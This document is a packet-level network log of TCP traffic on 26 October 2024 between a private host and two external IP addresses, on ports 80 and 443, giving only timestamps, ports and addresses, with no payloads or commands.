Oct 26, 2024 08:54:08.454091072 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.454612017 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.454664946 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.454665899 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.454703093 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.454710960 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.454737902 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.454762936 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.454773903 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.454780102 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.454808950 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.454816103 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.454849958 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.494817019 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.494832993 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.494848967 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.494916916 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.494975090 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.531800985 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.531831026 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.531886101 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.531913996 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.531996965 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.531996965 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.531997919 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.531997919 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.532406092 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.532459021 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.532460928 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.532546997 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.532572985 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.532591105 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.532618046 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.532648087 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.573820114 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.573859930 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.573914051 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.573936939 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.573937893 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.573961020 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.573964119 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.574009895 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.574017048 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.574044943 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.574059010 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.574080944 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.574103117 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.574114084 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.574124098 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.574151993 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.574168921 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.574198961 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.574204922 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.574235916 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.574245930 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.574325085 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.574572086 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.574603081 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.574630022 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.574634075 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.574665070 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.574666023 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.574681044 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.574727058 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.574876070 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.574925900 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.574965000 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.575011969 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.575016022 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.575045109 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.575068951 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.575077057 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.575089931 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.575119972 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.575495005 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.575525999 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.575560093 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.575562954 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.575582981 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.575596094 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.575607061 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.575649977 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.615026951 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.615061998 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.615098000 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.615103960 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.615205050 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.615205050 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.652245045 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.652281046 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.652312994 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.652316093 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.652369976 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.652369976 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.652676105 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.652726889 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.652729988 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.652760983 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.652776003 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.652795076 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.652803898 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.652842045 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.693949938 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694004059 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694017887 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694026947 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.694035053 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694062948 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.694062948 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.694084883 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.694097042 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694113016 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694129944 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694137096 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.694147110 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694159985 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.694181919 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.694181919 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.694648027 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694664955 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694680929 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694700956 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.694756031 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.694935083 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694951057 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694972992 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694978952 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.694988012 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.694999933 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.695029020 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.695029020 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.695288897 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.695303917 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.695326090 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.695336103 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.695353031 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.695353985 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.695368052 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.695377111 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.695393085 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.695400000 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.695410967 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.695429087 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.695429087 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.695430040 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.695442915 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.695451975 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.695480108 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.695480108 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.735342979 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.735362053 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.735387087 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.735403061 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.735420942 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.735424995 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.735438108 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.735469103 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.735469103 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.735486031 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.772638083 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.772666931 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.772685051 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.772710085 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.772735119 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.773025036 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.773066044 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.773067951 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.773083925 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.773102999 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.773117065 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.814677954 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.814752102 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.814785004 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.814807892 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.814842939 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.814867973 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.814867973 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.814883947 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.814894915 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.814915895 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.814939976 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.814950943 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.814961910 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.814987898 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.815015078 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.815021992 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.815047979 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.815058947 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.815087080 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.815097094 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.815119982 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.815140009 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.815242052 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.815275908 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.815294981 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.815340996 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.815352917 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.815387964 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.815404892 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.815423965 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.815438032 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.815460920 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.815465927 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.815504074 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.815817118 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.815850973 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.815867901 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.815891027 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.815903902 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.815939903 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.815948963 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.815984011 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.816001892 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.816019058 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.816030979 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.816055059 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.816082954 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.816090107 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.816123962 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.816143036 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.855978966 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.856014967 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.856050968 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.856050014 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.856086016 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.856112003 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.856112003 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.856123924 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.856141090 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.856168032 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.887020111 CEST	443	49986	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:08.887250900 CEST	443	49986	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:08.887355089 CEST	49986	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:08.887826920 CEST	49986	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:08.893332958 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.893368959 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.893387079 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.893398046 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.893404007 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.893423080 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.893450022 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.893450022 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.893450975 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.893479109 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935000896 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935045004 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935062885 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935061932 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935079098 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935096979 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935144901 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935144901 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935144901 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935144901 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935275078 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935292006 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935308933 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935328960 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935328960 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935364962 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935368061 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935384035 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935400963 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935409069 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935425997 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935445070 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935760975 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935776949 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935794115 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935797930 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935823917 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935827971 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935844898 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935851097 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935862064 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.935868025 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935889006 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.935908079 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.936362982 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.936403990 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.936480045 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.936496019 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.936511993 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.936517954 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.936527967 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.936537027 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.936544895 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.936562061 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.936564922 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.936564922 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.936579943 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.936589956 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.936618090 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.936618090 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.976255894 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.976289034 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.976308107 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.976325035 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.976331949 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.976331949 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.976350069 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:08.976372957 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.976372957 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:08.976392984 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.013823986 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.013845921 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.013869047 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.013870955 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.013895035 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.013905048 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.013906002 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.013912916 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.013930082 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.013946056 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.013964891 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.013964891 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.013964891 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.013991117 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.038232088 CEST	49987	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:09.038276911 CEST	443	49987	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:09.038348913 CEST	49987	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:09.038624048 CEST	49987	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:54:09.038639069 CEST	443	49987	172.67.170.64	192.168.2.7
Oct 26, 2024 08:54:09.055185080 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.055207014 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.055223942 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.055229902 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.055242062 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.055278063 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.055278063 CEST	49984	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:54:09.055309057 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.055332899 CEST	80	49984	185.215.113.16	192.168.2.7
Oct 26, 2024 08:54:09.055351973 CEST	49984	80	192.168.2.7	185.215.113.16
